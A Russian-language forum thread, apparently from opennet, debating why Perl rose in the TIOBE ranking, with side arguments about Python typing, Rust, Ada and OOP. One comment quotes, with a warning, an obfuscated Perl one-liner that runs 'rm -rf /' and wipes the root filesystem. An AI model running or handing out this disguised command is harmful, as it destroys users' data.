1.1, Аноним (1), 12:16, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +26 +/– |
Самый бредовый рейтинг из всех, словно из параллельной вселенной. Раст, видите ли, менее популярен, чем вижуал бейсик и дельфи. Вы че там, совсем того?
| |
|
2.2, A.Stahl (ok), 12:25, 14/09/2025 [^] [^^] [^^^] [ответить]
| +8 +/– |
Это рейтинг запросов. Видимо вопросы про Раст нет смысла задавать через поисковик, а статей\форумов по Бейсику и Дельфи -- валом, и поиск с помощью Гугла достаточно эффективен.
| |
|
3.155, Аноним (155), 11:04, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Как вы смеете замалчивать Великую Python! Доля рынка - вещи упрямая.
| |
|
2.3, Аноним (3), 12:25, 14/09/2025 [^] [^^] [^^^] [ответить]
| +12 +/– |
На бейсике и дельфи очень много легаси, очень много GUI софта, который дорого переписывать с нуля. Раст же бодается с сями. И хайпит в основном узких кругах и то только практически только в опен сорсе.
| |
|
3.13, Аноним (-), 12:47, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
>На бейсике и дельфи очень много легаси, очень много GUI софта, который дорого переписывать с нуля.
Лично я на Дельфи в нулевые много прогал. Может мои проги кто-то поддерживает. Последний раз писал в году эдак 2011-м.
| |
|
2.49, Fuf (?), 17:08, 14/09/2025 [^] [^^] [^^^] [ответить]
| +6 +/– |
Всё правильно. Рейтинг показывает, на каких языка действительно пишут, а о каких лишь постоянно говорят. :)
| |
|
3.59, Commet (?), 18:31, 14/09/2025 [^] [^^] [^^^] [ответить]
| +4 +/– |
Рейтинг показывает температуру у бегемота пролетающего над Марсом в полнолуние и ничего более
| |
|
4.118, Sem (??), 01:16, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Да, но умный человек по температуре бегемота может экстраполировать некоторые данные о погоде на Марсе. Поэтому, почему бы и нет?
| |
|
3.62, Аноним (62), 18:44, 14/09/2025 [^] [^^] [^^^] [ответить]
| +2 +/– |
Все языки программирования делятся на две категории: те, на которые постоянно жалуются, и те, на которых ничего не пишут.
| |
3.154, Аноним (154), 11:04, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Эти "постоянные писатели на дельфи" сейчас с нами в одной комнате?
| |
|
2.76, Аноним (76), 20:13, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Рейтинг на основе запросов. Чем лучше язык знаешь, тем меньше ищешь что-либо для него. Питон впихнули во все школьные программы. Но пригоден ли он для нормального программирования - это вряд ли.
| |
|
3.117, Sem (??), 01:14, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Расскажи про нормальное программирование инстаграм, спотифай, нетфликс, дропбокс и еще сотне известных компаний.
| |
3.162, Аноним (162), 12:34, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
В этом и нюанс, не учитывают запросы к нейронкам, а я думаю что там картина будет совершенно другая
| |
|
2.110, Аноним (110), 23:38, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Так там учитывают кол-во новых программ на различных языках, а на Rust оно в пределах статистической погрешности.
| |
2.153, Аноним (153), 10:52, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> Раст, видите ли, менее популярен, чем вижуал бейсик и дельфи.
Абсолютно с Вами согласен! Раст и Дельфи тут лишние.
| |
|
1.5, Ларри (?), 12:35, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +9 +/– |
Предсказуемо, зуммеры начали "вкуривать" истинные языки и приходят к истокам. Диды оказывается не зря ели свой хлеб.
| |
|
2.55, Аноним (55), 17:39, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> Предсказуемо, зуммеры начали "вкуривать" истинные языки и приходят к истокам
Скорее диды вышли в тираж, а новопришедшие на их место видят перловку и со словами "что это за х-ня??" лезут в гугл. И подымают перловке рейтинг.
> Диды оказывается не зря ели свой хлеб.
Невероятно сомнительное утверждение))
| |
|
3.75, Аноним (75), 20:13, 14/09/2025 [^] [^^] [^^^] [ответить]
| +1 +/– |
Но если видят perl - значит где-то требуется. Отсюда и популярность.
| |
|
|
1.6, Аноним (6), 12:37, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +4 +/– |
Щас поисковые запросы все делает ИИ, а уж он делает то, что ему покажется правильным. Например, когда я его спрашиваю про проблемы и их решения в геймдеве, он постоянно ищет про юнити, годот и анрил. При этом ни один из этих движков меня не интересует и я ими не пользуюсь.
| |
1.9, Savaoff (?), 12:39, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Смысла обсуждать perl на stackover нету. Все давно уже обсуждено на perlmonks, etc и прекрасно гуглится.
| |
|
2.15, Аноним (15), 13:04, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
А писать на пёрле так и не научились. Вон locale-gen на нём и я уже устал от того, что glibc теряет локали через минуту после генерации, хотя файлы на диске. Раньше такого не было, я склонен винить перловку. От 1000 пакетов зависимостей пропихнутых стараниями редхата в иксы и десктоп тоже не в восторге (спасибо от идеи пропихивать руби отказались, но это не лучше).
| |
|
|
4.143, Аноним (15), 08:45, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> Это давно известная проблема, называется - "user's crooked hands" )
Да я вообще не понимаю, как они этого добились с locale-gen, и почему некоторое время после генерации работает. Не 1 запуск, от нескольких минут до часа. Уже на железо грешил, но со старой 2 веткой как часы работает, а могли ведь на нормальном языке написать. И похожая история буквально со всем софтом на перле, что-то подсказывает, дело тут не в программистах.
| |
4.150, Аноним (-), 10:46, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> Это давно известная проблема, называется - "user's crooked hands" )
Есть более короткое описание этой проблемы, сокращенно это PEBCAC называется.
| |
|
|
|
1.10, Trurl (-), 12:40, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– |
Какая разница на каком языке копипаста сгенерированнай айайай-агентом.
/s
| |
1.11, Bottle (?), 12:42, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– |
Любители перловки таки вкурили, что в топы рейтинга попадают язычки, о которых чаще всего говорят, а не на которых работают.
Желаем перловке успехов!
| |
|
|
3.57, Commet (?), 17:52, 14/09/2025 [^] [^^] [^^^] [ответить]
| –1 +/– |
Местные борцунчики с растом не в курсе, но у раста очень хорошая и подробная документация, а потому не приходится по помойкам шариться в поисках инфы
| |
|
4.58, Аноним (54), 17:57, 14/09/2025 [^] [^^] [^^^] [ответить]
| +3 +/– |
Какому языку из топ 5 документации не хватает? Кажется дело вовсе не в документации...
| |
|
5.133, winorun (?), 06:28, 15/09/2025 [^] [^^] [^^^] [ответить]
| –1 +/– |
На C++ спецификация и документация платная. Документация на библиотеки раскиданны очень широко. Поэтому искать приходится в поисковике
| |
|
6.145, Bottle (?), 09:43, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Да-да,а бесчисленных учебников, в том числе переводов Страуструпа, не хватает.
| |
|
|
|
|
|
1.16, Аноним (16), 13:13, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +3 +/– |
Впечатление, что краулеры лютуют, ибо язык Ада туда же.
Либо ИИ учатся языкам древних.
| |
|
2.63, Аноним (63), 18:46, 14/09/2025 [^] [^^] [^^^] [ответить]
| +6 +/– |
Ада это язык такой же безопасный, как и раст, и ещё на нём пишут американские военные.
В связи с тем, какая в мире 4 года обстановка и куда идут бюджеты, меня совершенно не удивляет рост Ады.
| |
|
3.157, Аноним (15), 11:19, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Так в расте ровно ничего безопасного нет, ты уверен? Из субсета ада сделали спарк и он формально верифицируется штатными стандартными средствами. А популярность растёт после того, как нвидиа запихнула его во все видеокарты 8 лет назад -- это ли не лучшее доказательство. Такой оттранслированный код намного дешевле обычного формально верифицированного си (да и быстрее). Да, во всех областях где требуется повышенная надёжность (вроде аэрокосмической отрасли) всегда используется либо ада, либо си. Правда, с ада ракеты взрывались, как и с фортраном, про си что-то ничего не слышно.
| |
|
|
1.17, Аноним (17), 13:20, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +3 +/– |
Long Live Perl!
Я выскажу свое мнение: перл давал возможность писать девелоперо-зависимый код, т.е. код который мог сопровождать только автор. Это было прекрасно для программистов, но катастрофично для менеджеров. Это старая война на перловом месте. Если писать ясный код, то перл лучший скриптовый язык.
| |
|
2.39, Anony Mouse (?), 16:27, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> код который мог сопровождать только автор.
Нора намного глубже. Сам свой рабочий код изучал примерно через год после написания, было тяжело (и не сказать чтобы успешно). Perl это просто write-only код, истинный смысл написанного улетучивается из ноосферы ровно в тот момент, когда закрывается редактор.
| |
|
3.52, Аноним 80_уровня (ok), 17:25, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
"Just works" применительно к перл-коду имеет особый смысл.
Но, на самом деле, "писа́ть на Си можно на любом языке".
| |
|
2.56, Аноним (55), 17:41, 14/09/2025 [^] [^^] [^^^] [ответить]
| +2 +/– |
> Это было прекрасно для программистов, но катастрофично для менеджеров.
Это прекрасно только для одного единственного программиста - того, кто пишет это код.
Даже в команде сложно работать, а если тебе достался чужой легаси-проект... то вообще ахтунг.
| |
2.73, Ononim (?), 19:27, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Нет тут никакой прекрасности для программистов. Писать на регэкспах погут только особые эстеты. Поэтому перл и не пошёл в массы, пожтому заслуженно сдох.
| |
2.147, Аноним (147), 10:30, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Ю: На каком языке лучше обработать текст?
ИИ: Perl
Ю: Напиши программу ....
ИИ: Вот программа на Perl ....
| |
|
1.25, Аноним (25), 14:07, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +2 +/– |
JavaScript и Python два самых убогих и при этом два самых популярных языка. В них кстати нет строгой типизации, это для начала. Как так-то?
| |
|
2.28, Аноним (28), 14:22, 14/09/2025 [^] [^^] [^^^] [ответить]
| +1 +/– |
На JavaScript по моим наблюдениям сейчас никто не начинает новых проектов, а старые с разной скоростью переписываются на TypeScript. А уже в TypeScript отличная система типов.
| |
|
3.35, penetrator (?), 16:10, 14/09/2025 [^] [^^] [^^^] [ответить]
| +1 +/– |
насчет отличной ты погярячился и ООП там кастрированный
но это лучше чем ничего, но если уж выбирать TS или JS то лучше последний свежаших стандартов
| |
|
4.40, Аноним (62), 16:40, 14/09/2025 [^] [^^] [^^^] [ответить]
| +1 +/– |
> ООП там кастрированный
Он просто другой. Но для вчерашних ООП — это «как в Яве», или на худой конец «как в крестах». А всё остальное кажется кастрированным в силу банального отсутствия знаний. Ну да что с кодеров взять.
| |
|
|
|
7.89, freehck (ok), 21:10, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> Они все настоящие, но CLOS среди них — лучший.
При всём уважении к CLOS, лучший ООП -- это functor-ы в SML/OCaml. =)
PS: да, я знаю, что это не ООП; просто нафиг нужен ООП, если у тебя в руках functor?
| |
|
|
5.87, freehck (ok), 21:09, 14/09/2025 [^] [^^] [^^^] [ответить] | +/– |  Люто плюсую ООП как в яве в крестах -- просто один из видов ООП, основанный... большой текст свёрнут, показать | |
|
6.104, penetrator (?), 22:38, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
так почему в EcmaScript вроде уже как лет 10 появились классы?
то что есть в JS это не просто еще один вид ООП, это одна из его худших реализаций, поэтому называя ее кстрированной я еще смягчаю реальность, JS - это вечно накаченныя стероидами скриптотня, а накачивают потому что в браузере альтернативы нет, поражают только любители обмазаться на сервере
| |
|
|
4.78, Аноним (76), 20:16, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Можно и без ООП обходиться. Как у Julia, например. Но у TS вполне сносная система типов.
| |
4.81, Аноним (1), 20:33, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> ООП
"Настоящий ООП" -- это когда насильно впихивают классы всюду. Настолько насильно, что в яве даже утилитные функции не создашь без того, чтобы не засунуть их в класс в виде статических методов.
А вообще, ООП в том виде, как его учат в универах, изрядно устарел. Композиция лучше наследования. Наследование -- это нарушение инкапсуляции, но ООП-фанатиков это не смущает. Паттерны ООП -- это дисциплина, целиком посвященная решению проблем, порожденных самим же ООП.
| |
|
|
2.29, Аноним (29), 14:27, 14/09/2025 [^] [^^] [^^^] [ответить]
| +3 +/– |
Не скажу что-то про JavaScript, но Python очень простой, понятный и универсальный. А скорость разработки очень высокая!
Возможно есть лучше языки программирования, только после того когда у них хайп кончится, про них все забудут! А владелецам такого кода придётся раскошелиться на переписывания кода.
| |
|
3.36, penetrator (?), 16:11, 14/09/2025 [^] [^^] [^^^] [ответить]
| –2 +/– |
питон стал популярным из-за AI библиотек, а как язык ну такое, скриптовая лабуда, больше всего бесит вложенность отступами
| |
|
4.41, Аноним (62), 16:42, 14/09/2025 [^] [^^] [^^^] [ответить]
| –1 +/– |
> питон стал популярным из-за AI библиотек
При чём сделал это раньше, чем эти библиотеки появились. Почему у местных кекспертов так пригорает от популярности Питона?
| |
|
5.44, Аноним (31), 16:56, 14/09/2025 [^] [^^] [^^^] [ответить]
| –2 +/– |
У них про отступы больше пригорает. Или они в C блоки кода отступами не выделяют?
| |
|
6.64, Аноним (62), 18:47, 14/09/2025 [^] [^^] [^^^] [ответить]
| –2 +/– |
Единственное, что выделяют местные кексперты — комментарии. Кодить тут умеет от силы десяток человек, программировать — и того меньше.
| |
|
5.106, penetrator (?), 22:43, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
>> питон стал популярным из-за AI библиотек
> При чём сделал это раньше, чем эти библиотеки появились. Почему у местных
> кекспертов так пригорает от популярности Питона?
если его пользовали 2.5 землекопа, то это еще была не популярность
| |
|
6.120, Sem (??), 01:52, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Пик популярности python 2 пришелся на 2008-2010 годы. Tensorflow и Pytorch появились после 2015 года. Даже Гвидо признался, что сильно недооценил количество кода написанного кода на python 2, когда выпускал 3-й. Это было далеко не "2.5 землекопа". Думаю, что не переоцню, если предположу, что речь шла о миллионах программистов по всему миру.
| |
|
|
|
3.38, Аноним (38), 16:19, 14/09/2025 [^] [^^] [^^^] [ответить]
| –1 +/– |
> Не скажу что-то про JavaScript, но Python очень простой, понятный и
> универсальный. А скорость разработки очень высокая!
Но как в анеке про машинистку и 1000 знаков в минуту - могу, но такая фигня получается! Язык для картонных макетов программ. Потому что они тормозные, глючные, разваливаются постоянно, все баги - в рантайме эту хрень выносят, большие проекты помирают в глюках и тормозах, а через пару лет это вообще работать перестает нахрен, если не переписыать постоянно. А так все хорошо прекрасная маркиза.
| |
|
4.42, Аноним (62), 16:45, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> тормозные, глючные, разваливаются постоянно
Если кто-то не умеет программировать, то это вряд ли проблема языка.
> проекты помирают в глюках и тормозах, а через пару лет это вообще работать перестает нахрен, если не переписыать постоянно
Интересно, как в таких условиях Dropbox или да хоть тот же Гугл только выживают?
| |
|
5.146, Аноним (-), 10:19, 15/09/2025 [^] [^^] [^^^] [ответить] | +/– | Вообще-то это именно проблемы ЯП и его дизайна И тимы девелопающей его и BDFLа ... большой текст свёрнут, показать | |
|
|
3.53, Аноним (53), 17:32, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Лол, и у каких известных компаний он в проде? Десктоп приложения не делают, на сервере - тормоз, на мобилках - его нет. Разве что в подвальных конторках чёто пытаются на коленке запилить, но если вдруг выстрелит - как только, так сразу команду разгоняют и переписывают на нормальный ЯП.
| |
|
4.66, Аноним (62), 18:49, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Ютуб, может слышал? Ну там ещё какая-то поисковая система, вроде самая популярна в мире, и прочая подвальная фигня.
| |
|
|
6.92, Аноним (62), 21:21, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> А где там питон то?
Если не вдаваться в подробности, то везде. И как универсальный клей, и как язык реализации отдельных сервисов. Что довольно забавно, потому что в контексте основных продуктов гугла практически всё является high load always on. И отдельные участки кода на питоне обрабатывают в сумме по несколько десятков миллионов запросов в сутки, и всем норм, даже рефакторинг нигде не чешется, и это компания с доходом как бюджет небольшой страны. Зато местные кексперты готовы оптимизировать код сайта для своего ларька с шавухой с тремя посетителями в день до талого, вместо того чтобы быстро написать лишь бы работало и пойти эту самую шавуху заворачивать.
| |
|
7.99, Аноним (76), 22:17, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Не придумывайте того, чего не знаете. Гугл не просто так делал языки Go, Dart. И, может быть где-то питон они и используют, но процент его в проде - весьма мал.
| |
7.103, Аноним (103), 22:37, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> язык реализации отдельных сервисов
Пруфов конечно же не будет. Из собственных продуктов гугла с исходным открытым кодом - хром, андроид, фуксия, webrtc - питон есть примерно нигде ни для чего. А вот потребителям своих облачных серверлесс платформ они как раз наоборот впаривают питон с жс - продавая вычислительные ресурсы раз в 10 дороже чем у обычных VPS/VDS провайдеров. Скриптодети платят, денежка капает.
| |
|
8.148, Аноним (-), 10:37, 15/09/2025 [^] [^^] [^^^] [ответить] | +/– | Гугл Go сделал - для замены у себя питона в сервисах Потому что его перфоманс у... большой текст свёрнут, показать | |
|
|
|
|
|
3.122, nuclight (??), 02:40, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> Python очень простой, понятный
Месяц назад начал его учить - столько нелогичностей в жизни разом не видел. Нет, понятно, что ляпы есть везде, но только Бидон умудряется называть свою свалку "простым, понятным и *пригодным для обучения новичков* (!) языком.
| |
|
4.161, Аноним (-), 12:27, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> Месяц назад начал его учить - столько нелогичностей в жизни разом не
> видел. Нет, понятно, что ляпы есть везде, но только Бидон умудряется
> называть свою свалку "простым, понятным и *пригодным для обучения новичков* (!) языком.
Достаточно сказать что в питоне их BDFL добровольно (!!!) сбежал с кресла BDFL-а. Он развел такую помойку и такое сообщество - что получилось как в Darwin Awards про мужика и бобы. Просто утят учат - этому, они и уверены что весь мир должен крякать как утка.
| |
|
|
2.32, Аноним (32), 15:45, 14/09/2025 [^] [^^] [^^^] [ответить]
| –6 +/– |
Великий Python - лучше всех! Доля рынка - вещь упрямая! Как бы вы не брызгали слюной.
| |
|
3.80, Аноним (76), 20:19, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Не путайте долю рынка и долю поисковых запросов о нём. У питона нет устойчивого рынка ни в одной предметной области. Он просто абсолютно везде хуже какого-то специализированного языка. А в Вебе, например, ему вообще не место. Браузерный код как писали на TS/JS, так и будут в ближайшие 20 лет писать. Как и бизнес-логику на TS.
| |
|
2.46, Аноним (46), 16:58, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> В них кстати нет строгой типизации, это для начала
В python есть, хоть и опционально.
| |
2.85, Аноним (82), 21:07, 14/09/2025 [^] [^^] [^^^] [ответить]
| +1 +/– |
> В них кстати нет строгой типизации
В Питоне строгая типизация вообще-то.
| |
|
3.123, nuclight (??), 02:43, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Правда?
'''
x: Int = 1
x = "whooy"
print(x)
'''
не ругается, хотя при строгой типизации должен.
| |
|
4.134, ВикиПуки (?), 06:50, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Слабая типизация является типичным решением для языков с динамической типизацией, но в некоторых случаях для динамических языков используется сильная система типов (например, в Python)
| |
4.149, Аноним (-), 10:41, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
> '''
> x: Int = 1
> x = "whooy"
> print(x)
> '''
> не ругается, хотя при строгой типизации должен.
Да ничего страшного, он у тебя потом отругается - трехэтажным трейсом - когда вон то ожидавшее "int" получит на вход "whooy", может быть даже и что-то сделает - но наверное не то что задумывал программер, после чего дальшейшее будет один сплощной undefined. Который однако икнется скорее всего ой как не сразу - поэтому счастливой отладки, дорогие питонисты.
| |
4.165, jOKer (ok), 13:20, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
>Правда?
Правда
>не ругается, хотя при строгой типизации должен.
Не должен. Не должен хотя бы уж потому, что print() печатает и строки и числа)))
А вообще, вы путаете статическую типизацию и строгую динамическую. В питоне строгая динамическая типизация, и это значит, что любая переменная после инициализации является экземпляром объекта того типа, которым ее инициализировали. Это относится и ко встроенным типам. Любая операция с переменной (даже операция сравнения) - есть метод этого объекта, который вполне способен контролировать тип переданных ему параметров, и выбрасывать исключение TypeError
---------------
>>> a = 1
>>> b = 'abc'
>>> a > b
Traceback (most recent call last):
File "<python-input-39>", line 1, in <module>
a > b
TypeError: '>' not supported between instances of 'int' and 'str'
--------------
Что касается операции присваивания, то она порождает уже совсем другой объект, пусть и с тем же самым именем.
-------------
>>> a = 1
>>> id(a)
4456547344
>>> a = 2
>>> id(a)
4456547376
>>> a = 'abc'
>>> id(a)
4448487728
-------------
Кроме того следует помнить, что конструкция "a: int" не обязывает интерпретатор считать что внутри находится объект заявленного типа, поскольку такая конструкция - это просто подсказка (type hint) для разработчика, и поэтому финты вроде этого "a: int = 'aaaa'" к исключению не приводят.
| |
|
|
|
|
2.128, turbo2001 (ok), 04:05, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Просто разработчики ушли во всякие chatgpt и поэтому в трендах поисковиков поднялись ретроградские языки
| |
|
|
2.45, Аноним (31), 16:58, 14/09/2025 [^] [^^] [^^^] [ответить]
| +3 +/– |
Если бы в ядре её увидеть. Так бы и количество оборотов было бы неважно.
| |
|
3.95, Аноним (-), 22:01, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Ну, уже есть ядра написанные на Ada и SPARK. Например, Ironclad.
| |
|
|
|
|
3.93, Аноним (-), 21:57, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Ещё как можно. Более того, вариантов и для фронта, и для бэка достаточно.
| |
3.112, Аноним (110), 23:43, 14/09/2025 [^] [^^] [^^^] [ответить]
| –1 +/– |
А если и написать, то его сразу же взломают, так как в зависимость в crates.io добавят вирус.
| |
|
4.116, Аноним (116), 00:24, 15/09/2025 [^] [^^] [^^^] [ответить]
| +1 +/– |
А на чём не взломают? У всех современных языков есть аналог crates.io (pypi, npm, rubygems, pear/pecl, ...), кроме go у которого исходники тянутся напрямую из git реп, что ещё менее безопасно.
| |
|
3.114, Аноним (116), 00:22, 15/09/2025 [^] [^^] [^^^] [ответить]
| +1 +/– |
Почему не написать? axum + askama. По ощущениям 1 в 1 как питоновский flask, только в 100 раз быстрее и типобезопасный (включая шаблоны).
| |
|
|
1.51, Аноним (51), 17:14, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– |
самый бесполезный и никчемный рейтинг, который вообще ничего интересного не показывает
В принципе более бесполезной фигни чем TIOBE сложно даже придумать
| |
1.60, Tron is Whistling (?), 18:41, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
"Причины роста популярности Perl не ясны"
"Индекс популярности TIOBE строит свои выводы на основе анализа статистики поисковых запросов"
Внезапно. По сути всё, что надо знать. "Рейтинг" с источником данных в виде шума океанов Марса.
| |
1.68, Фрол (?), 18:54, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
> But by TIOBE's ranking, Perl is still the #10 most-popular programming in September (dropping from #9 in August).
а это потому что ув-я редакция опеннета спит в оглоблях
и заголовок надо править так:
"Язык Perl упал на 10е место"
> новопришедшие на их место видят перловку и со словами "что это за х-ня??" лезут в гугл. И подымают перловке рейтинг
мало того они еще и на амазоне книжки по перлу покупают, мерзавцы этакие, делают кассу хроматику
| |
1.83, Аноним (83), 20:53, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Взято из https://ru.m.wikipedia.org/wiki/Perl :
Программа печатает простые числа:
perl -wle '(1 x $_) !~ /^(1|((11+)\3+))$/ && print while ++ $_'
Программа рекурсивно удаляет все файлы на корневой фс (НЕ ЗАПУСКАЙТЕ ЕЁ):
echo "test... test... test..." | perl -e '$??s:;s:&s;;$?::s;;=]=>%-{<-|}<&|'{;;$y; -/:-@[[-'{-};'-{/" -;;s;;$_;see'
(В результате запускается system"rm -rf /" )
| |
|
2.119, x3who (?), 01:19, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Благодаря этому популярному однострочнику у команды rm теперь есть специальный ключ, без которого она не будет удалять / :)
| |
|
3.151, ааноним (?), 10:47, 15/09/2025 [^] [^^] [^^^] [ответить]
| +1 +/– |
Помню, на форуме ЛОРа этот однострочник лет 20 назад кто-то выложил, написав "помогите, не работает". Запускали добрые люди по незнанию. Кто-то даже на своём сервере запускал. Вот шуму то было...
| |
|
|
1.90, Аноним (83), 21:13, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +3 +/– |
Pascal прёт вверх за счёт Lazarus'а. На Lazarus'е можно делать не только native приложения, но и web- и android-
| |
|
2.129, 12yoexpert (ok), 04:10, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
не дай бог, понимаете ли, езуз наш кристус, ещё когда-нибудь использоввать индексацию с единицы
| |
|
1.91, Аноним (91), 21:19, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| –1 +/– |
Пишу на расте. Спрашиваю вопросы у GPT. Возможно статистику популярности поисковых запросов делают диды для Делфи? Не ясно
| |
|
2.94, Аноним (82), 22:00, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Пишу на заборе. Спрашиваю у прохожих. Получаются какие-то математические формулы про икс, игрек и "и краткое".
| |
|
1.97, Аноним (116), 22:08, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
> Язык Perl поднялся с 27 на 10 место в рейтинге Tiobe
Это всё что нужно знать о Tiobe.
| |
|
2.105, Чолхан (ok), 22:41, 14/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Да не, всё гораздо прозаичнее - просто я искал и копался в исходниках насчет реализации (s)rand в perl
| |
|
1.102, Аноним (-), 22:22, 14/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| –1 +/– |
> число книг по Perl в 4 раза превышает PHP
При этом популярность PHP, хоть и упала, но он вполне живой.
А перловка и раньше была нишевая, а сейчас вообще непонятно зачем нужна.
| |
1.113, Ivan7 (ok), 00:02, 15/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
К сожалению, Perl слишком медленный, по производительности примерно как Python, т.е. в сотни раз медленнее C/C++. Хотя для скриптов Perl хороший язык - компактный, лаконичный. Для скриптов его и использую.
| |
|
2.125, Илья (??), 03:25, 15/09/2025 [^] [^^] [^^^] [ответить]
| +2 +/– |
> но старательно замещается Питоняшей
Даже пёрл лучше чем питон
| |
|
3.130, Аноним (115), 04:31, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Вполне вероятно. Просто когда его начали внедрять в западных учебных заведениях туда поплыло большинство, а перл и не пытались так лютоинавязывать, но он все равно поднимается. Лично для меня перл это то что было до змеиной эпохи в линуксе. Крайне сомневаюсь во вменяемости питонопоклонников - им лишь бы язык был проще, то есть высокоуровневым, так как в их голове полный беспорядок.
| |
|
|
1.138, User097 (ok), 07:38, 15/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Это не просто «рейтинг запросов», это скорее «рейтинг багов и сложности» языка. Хорошо спроектированные и усвояемые языки требуют меньшего количества обращений к поисковикам. Кроме того, публика всё меньше обращается к ним с приходом LLM.
Создаётся ощущение, что хорошие языки следует искать где-то во второй полусотне.
| |
1.156, Аноним (155), 11:07, 15/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Да, вы можите брезжать слюной у рта. но доля рынка вещь упрямая! Python - самый лучший ЯП!
| |
1.158, Аноним (158), 11:31, 15/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +2 +/– |
Можно предположить что питон вышел на площадку популярности, стал монстроизироваться, его пихают всюду, потому стал избыточным для простых скриптовых целей. А перл остаётся всё тем же в своей нише.
| |
1.159, Аноним (159), 11:40, 15/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Вот так вот! Без лютого пиара, пропихивания, раскрутки и проплачивания Perl в очередной раз взлетел! Учитесь, студенты!)
| |
1.163, Аноним (163), 12:37, 15/09/2025 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Это "средняя температура по больнице". Люди, вы же знаете, что в программировании разные области применения. Какой смысл сравнивать JavaScript и C++? У них разные задачи. Это сравнение не языков, а объемов областей программирования. Языки надо сравнивать в своих областях.
| |
|
2.164, Аноним (163), 12:49, 15/09/2025 [^] [^^] [^^^] [ответить]
| +/– |
Хотя, поторопился. Каждый может сравнивать выбирая языки своей области.
| |
|
|